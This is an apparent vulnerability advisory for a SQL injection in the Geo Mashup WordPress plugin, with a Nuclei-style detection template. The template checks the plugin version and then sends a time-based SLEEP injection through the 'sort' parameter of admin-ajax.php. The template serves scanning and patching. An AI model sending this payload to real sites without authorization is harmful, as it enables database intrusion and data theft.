CVE-2026-2416: Geo Mashup <= 1.13.17 - SQL Injection

2026-04-16 Geo Mashup PoC Public

Description

Geo Mashup WordPress plugin <= 1.13.17 contains a SQL injection caused by insufficient escaping of the 'sort' parameter, letting unauthenticated attackers extract sensitive database information remotely.

PoC

id: CVE-2026-2416

info:
  name: Geo Mashup <= 1.13.17 - SQL Injection
  author: Shivam Kamboj
  severity: high
  description: |
    Geo Mashup WordPress plugin <= 1.13.17 contains a SQL injection caused by insufficient escaping of the 'sort' parameter, letting unauthenticated attackers extract sensitive database information remotely.
  impact: |
    Unauthenticated attackers can extract sensitive database information, leading to data disclosure and potential further compromise.
  remediation:
    Update to the latest version beyond 1.13.17.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/geo-mashup/geo-mashup-11317-unauthenticated-sql-injection-via-sort-parameter
    - https://nvd.nist.gov/vuln/detail/CVE-2026-2416
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-2416
    epss-score: 0.01392
    epss-percentile: 0.70961
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2026,wordpress,wp,wp-plugin,sqli,geo-mashup,unauth

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/geo-mashup/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - compare_versions(version, '<= 1.13.17')
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        name: version
        group: 1
        regex:
          - 'Stable tag: ([0-9.]+)'
        internal: true

  - raw:
      - |
        @timeout: 30s
        GET /wp-admin/admin-ajax.php?action=geo_mashup_query&output=json&sort=(SELECT(0)FROM(SELECT(SLEEP(8)))a) HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 8'
          - 'status_code == 200'
          - 'contains(body, "objects")'
          - 'contains(content_type, "application/json")'
        condition: and
# digest: 490a00463044022068d47fac46ec204f47fefff7c4bf0a2161d6e5544e62588d2c1e3095c201b414022004d5200e6533ab6764a30ff7e3eef32558bc7850edba1a445dde0a5977d3feea:922c64590222798bb761d5b6d8e72950

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